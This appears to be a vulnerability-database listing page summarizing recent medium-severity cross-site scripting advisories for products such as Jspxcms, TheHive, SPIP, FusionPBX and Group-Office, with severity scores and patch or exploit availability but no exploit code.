EPSS 0% CVSS 6.1
MEDIUM POC This Month

A vulnerability has been found in Jspxcms 10.2.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jspxcms
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in FactoMineR FactoInvestigate up to 1.9. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Factoinvestigate
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in liuwy-dlsdys zhglxt 4.7.7. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zhglxt
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

StrangeBee TheHive 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case reporting functionality. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Thehive
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

StrangeBee TheHive 5.1.0 to 5.1.9 and 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case attachment functionality which enables an attacker to upload a malicious HTML file with. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Thehive
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Multiple reflected cross-site scripting (XSS) vulnerabilities in nasSvr.php in actidata actiNAS-SL-2U-8 3.2.03-SP1 allow remote attackers to inject arbitrary web script or HTML. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Actinas Sl 2U 8 Rdx Firmware
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

SPIP before 4.1.14 and 4.2.x before 4.2.8 allows XSS via the name of an uploaded file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Spip
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

FusionPBX prior to 5.1.0 contains a cross-site scripting vulnerability. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fusionpbx
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in AtroCore AtroPIM 1.8.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Atropim
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Group-Office is an enterprise CRM and groupware tool. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

File Upload XSS Microsoft +1
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39121

Related CWEs

MITRE ATT&CK

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